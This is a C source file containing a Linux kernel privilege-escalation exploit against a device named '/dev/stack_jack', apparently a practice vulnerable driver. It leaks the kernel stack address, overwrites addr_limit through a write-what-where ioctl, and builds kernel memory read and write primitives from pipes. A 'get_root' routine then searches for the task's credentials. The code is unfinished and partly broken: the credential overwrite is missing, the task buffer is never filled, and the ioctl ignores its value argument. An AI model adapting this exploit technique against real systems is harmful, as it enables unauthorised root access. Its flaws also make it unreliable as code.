#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;

struct thread_info {
        unsigned long flags;
        int preempt_count;
        unsigned long addr_limit;
        struct task_struct *task;

        /* ... */
};

struct kernel_cap_struct {
        unsigned long cap[2];
};

struct cred {
        unsigned long usage;
        uid_t uid;
        gid_t gid;
        uid_t suid;
        gid_t sgid;
        uid_t euid;
        gid_t egid;
        uid_t fsuid;
        gid_t fsgid;
        unsigned long securebits;
        struct kernel_cap_struct cap_inheritable;
        struct kernel_cap_struct cap_permitted;
        struct kernel_cap_struct cap_effective;
        struct kernel_cap_struct cap_bset;
        unsigned char jit_keyring;
        void *thread_keyring;
        void *request_key_auth;
        void *tgcred;
        struct task_security_struct *security;

        /* ... */
};

struct task_security_struct {
        unsigned long osid;
        unsigned long sid;
        unsigned long exec_sid;
        unsigned long create_sid;
        unsigned long keycreate_sid;
        unsigned long sockcreate_sid;
};


struct list_head {
        struct list_head *next;
        struct list_head *prev;
};

struct task_struct_partial {
        struct list_head cpu_timers[3];
        struct cred *real_cred;
        struct cred *cred;
        struct cred *replacement_session_keyring;
        char comm[16];
};


ssize_t readKmem(const void *src, void *dest, size_t count)
{
        int pipefd[2];
        size_t len;

        errno = NULL;
        int res = pipe(pipefd);
        if(res < 0){
           printf("Pipe return val :%d: %s\n", res, strerror(errno));
        }

        len = write(pipefd[1], src, count);

        if (len != count) {
          printf("FAILED READ @ %p : %d %d\n", src, (int)len, errno);
        }

        read(pipefd[0], dest, count);

        close(pipefd[0]);
        close(pipefd[1]);

        return len;
}

ssize_t writeKmem(void *dest, const void *src, size_t count)
{
        int pipefd[2];
        size_t len;

        pipe(pipefd);

        write(pipefd[1], src, count);
        len = read(pipefd[0], dest, count);

        if (len != count) {
          printf("FAILED WRITE @ %p : %d %d\n", dest, (int)len, errno);
        }

        close(pipefd[0]);
        close(pipefd[1]);

        return len;
}

#define LEAK_KSTACK_ADDR 0xFF
#define KWRITE 0xBB

void writeWhatWhereVuln(unsigned long address, unsigned long val){
 int stack_jack = open("/dev/stack_jack", O_RDWR);
 int rc = ioctl(stack_jack, KWRITE, &address);
 close(stack_jack);
 printf("%d %d \n", stack_jack, rc);
}

unsigned long kernelStackPointerLeak(){
 unsigned long kstack_addr = 0;
 int stack_jack = open("/dev/stack_jack", O_RDWR);
 int rc = ioctl(stack_jack, LEAK_KSTACK_ADDR, &kstack_addr);
 close(stack_jack);
 return kstack_addr;
}


void write_task_struct_addr_limit(unsigned long kernelStackPointer){
//  struct thread_info * ti = (struct thread_info *) kernelStackPointer & 0xFFFFE000;

// GDB command to print stack addr_limit
//     p/x  ((struct thread_info*)(((uint32_t)$sp & 0xffffe000)))->addr_limit

  unsigned long addr_limit = (kernelStackPointer & 0xFFFFE000) + 8;

  printf("writing addr_limit to 0x%lx\n",addr_limit);
  writeWhatWhereVuln(addr_limit, 0xFFFFFFF);
}

void get_root(unsigned long kstack_base){
  struct thread_info stackbuf;
  struct cred *cred;

  unsigned long taskbuf[0x100];

  readKmem((const void *) kstack_base, &stackbuf, sizeof stackbuf);

int i;
#define ARRAY_SIZE(a)           (sizeof (a) / sizeof (*(a)))
#define KERNEL_START            0xc0000000

        for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
                struct task_struct_partial *task = (void *)&taskbuf[i];
                if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
                 && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
                 && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
                 && task->real_cred == task->cred) {
                        cred = task->cred;
                        break;
                }
        }

}


int main(void){

 unsigned long kstack_addr = kernelStackPointerLeak();

 write_task_struct_addr_limit(kstack_addr);

 get_root(kstack_addr & 0xFFFFE000);

 return 0;
}
